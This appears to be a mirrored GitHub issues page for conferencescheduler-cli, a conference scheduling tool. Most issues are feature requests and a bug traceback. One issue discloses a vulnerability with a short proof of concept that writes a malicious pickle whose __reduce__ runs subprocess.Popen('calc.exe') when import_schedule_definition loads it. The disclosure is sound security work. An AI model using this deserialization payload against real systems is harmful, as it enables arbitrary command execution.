Giter VIP home page Giter VIP logo

conferencescheduler-cli's People

Contributors

drvinceknight avatar meatballs avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Forkers

418sec

conferencescheduler-cli's Issues

`scheduler build --help` throws a traceback

Clone from master, install dependencies, get help text:

$ scheduler build --help
Traceback (most recent call last):
  File "/Users/chana/.virtualenvs/tempenv-24291291344a6/bin/scheduler", line 11, in <module>
    load_entry_point('conference-scheduler-cli', 'console_scripts', 'scheduler')()
  File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 722, in __call__
    return self.main(*args, **kwargs)
  File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 697, in main
    rv = self.invoke(ctx)
  File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 1063, in invoke
    Command.invoke(self, ctx)
  File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 895, in invoke
    return ctx.invoke(self.callback, **ctx.params)
  File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 535, in invoke
    return callback(*args, **kwargs)
  File "/Users/chana/repos/ConferenceScheduler-cli/src/scheduler/cli.py", line 26, in scheduler
    logging.setup(verbosity)
  File "/Users/chana/repos/ConferenceScheduler-cli/src/scheduler/logging.py", line 20, in setup
    daiquiri.output.File(log_file, level='DEBUG'))
  File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/daiquiri/output.py", line 86, in __init__
    handler = logging.handlers.WatchedFileHandler(logpath)
  File "/usr/local/Cellar/python3/3.6.1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/logging/handlers.py", line 437, in __init__
    logging.FileHandler.__init__(self, filename, mode, encoding, delay)
  File "/usr/local/Cellar/python3/3.6.1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/logging/__init__.py", line 1030, in __init__
    StreamHandler.__init__(self, self._open())
  File "/usr/local/Cellar/python3/3.6.1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/logging/__init__.py", line 1059, in _open
    return open(self.baseFilename, self.mode, encoding=self.encoding)
FileNotFoundError: [Errno 2] No such file or directory: '/Users/chana/repos/ConferenceScheduler-cli/solution/scheduler.log'

๐Ÿ˜ž

Python 3.6.1.

Pin events to slots

The ability to specify that an event should be scheduled in a specific slot.

import_schedule_definition is vulnerable

 from scheduler import io
 import os
 from pathlib import Path
 import pickle
 class joel_test(object):
     def __reduce__(self):
         import subprocess
         return (subprocess.Popen, ('calc.exe',))
 test = joel_test()
 f=open('solution\\scheduler.pickle','wb')
 pickle.dump(test,f)
 f.close()
 io.import_schedule_definition(Path(Path.cwd(), 'solution'))

Hi, there is a vulnerability in import_schedule_definition method in io.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.

Validation options

At the moment, we can validate amend a schedule and validate that new schedule against the original constraints.

We also need the facility to amend the constraints and validate whether the schedule is still valid.

Unavailability for Event or Slot

At the moment, we can only define unavailability for people. We should add the ability to do so for Events and Slots using new input yaml files to do so.

Use a dict of Events rather than a list

The current use of a list makes the consistency optimisation fail when new events are added since the index numbers within that list no longer relate to the same events.

Using a dict (with the hashed id from ironcage) as the key should solve that problem.

`init` command

Using a cookiecutter recipe, create a scheduler init command to create the input files in the correct structure for a new conference.

Multiple people per event

At the moment, we can only define a single person per event. We should extend this to be a list of people (whilst still ensuring that their unavailability for other events where they are listed is still produced correctly).

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.